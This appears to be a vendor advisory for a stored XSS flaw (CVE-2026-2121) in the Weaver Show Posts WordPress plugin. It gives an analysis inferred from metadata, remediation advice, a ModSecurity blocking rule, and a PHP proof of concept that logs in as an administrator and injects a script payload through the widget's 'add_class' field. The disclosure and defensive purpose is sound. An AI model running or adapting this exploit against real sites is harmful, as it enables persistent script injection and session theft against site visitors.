Atomic Edge analysis of CVE-2026-2121 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Weaver Show Posts WordPress plugin. The ‘add_class’ parameter within the plugin’s widget settings lacks proper input sanitization and output escaping. Attackers with administrator-level access can inject malicious scripts that persist in the database and execute when affected pages load. The CVSS 4.4 score reflects the requirement for high privileges and high attack complexity, though scope changes increase impact.
Atomic Edge research indicates the root cause is improper neutralization of user input before web page generation (CWE-79). The vulnerability description confirms insufficient input sanitization and output escaping on the ‘add_class’ parameter. Without code access, we infer the plugin likely echoes the unsanitized parameter value directly into widget output or page HTML. This inference aligns with common WordPress widget implementation patterns where custom class attributes are often handled through `get_attribute()` methods without adequate escaping.
Exploitation requires an authenticated administrator to access the widget configuration interface. The attacker modifies the ‘Additional Classes to Wrap Posts’ field (parameter ‘add_class’) with a malicious payload like `alert(document.domain)`. The payload saves when the widget updates. The script then executes for any user viewing a page containing the compromised widget. In multisite installations, site administrators without the `unfiltered_html` capability become primary targets since they cannot normally post unfiltered HTML.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘add_class’ parameter using `sanitize_html_class()` or similar WordPress sanitization functions during input processing. Output must use escaping functions like `esc_attr()` when rendering the class attribute in HTML. WordPress coding standards mandate both input sanitization and output escaping as complementary security layers.
Successful exploitation allows privilege escalation within affected WordPress installations. Attackers can steal session cookies, perform actions as authenticated users, or deface websites. The stored nature means a single injection affects all subsequent page visitors. While administrator access is required for initial exploitation, the vulnerability enables attackers with compromised admin credentials to establish persistent backdoors or target site visitors.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-2121 (metadata-based)
# Blocks exploitation via widget AJAX save action targeting the 'add_class' parameter
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20262121,phase:2,deny,status:403,chain,msg:'CVE-2026-2121: Weaver Show Posts Stored XSS via add_class parameter',severity:'CRITICAL',tag:'CVE-2026-2121',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule ARGS_POST:action "@streq save-widget" "chain"
SecRule ARGS_POST:id_base "@streq show-posts" "chain"
SecRule ARGS_POST:add_class "@rx [<>"']"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2121 - Weaver Show Posts <= 1.8.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Additional Classes to Wrap Posts' Widget Setting
<?php
/**
* Proof-of-concept for CVE-2026-2121
* Assumptions:
* 1. Target uses WordPress with Weaver Show Posts plugin <= 1.8.1
* 2. Attacker has administrator credentials
* 3. Widget configuration occurs via standard WordPress admin AJAX
* 4. 'add_class' parameter accepts unsanitized input
*/
$target_url = 'http://target-site.com';
$username = 'admin';
$password = 'password';
// Payload to inject - basic XSS demonstration
$malicious_class = '"><script>alert(`Atomic Edge XSS Test: ${document.domain}`)</script>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
])
]);
$response = curl_exec($ch);
// Verify login success by checking for admin dashboard
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// WordPress widget updates typically use admin-ajax.php with 'save-widget' action
// The exact widget ID varies, so we attempt to find existing show-posts widgets
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'save-widget',
'widget-id' => 'show-posts-1', // Common default widget ID pattern
'id_base' => 'show-posts',
'widget-number' => '1',
'add_class' => $malicious_class, // Vulnerable parameter
'nonce' => 'placeholder' // Nonce would be required in real exploitation
])
]);
$ajax_response = curl_exec($ch);
curl_close($ch);
// Check for success indicators
if (strpos($ajax_response, 'success') !== false || strpos($ajax_response, 'saved') !== false) {
echo "Payload injected successfully. Visit any page with the 'Weaver Show Posts' widget to trigger XSS.n";
} else {
echo "Injection may have failed. The widget ID or nonce may need adjustment.n";
echo "Response: " . htmlspecialchars(substr($ajax_response, 0, 500)) . "n";
}
// Note: Actual exploitation requires obtaining a valid nonce from the widget admin page
// This PoC demonstrates the attack vector but may need nonce extraction for full functionality
?>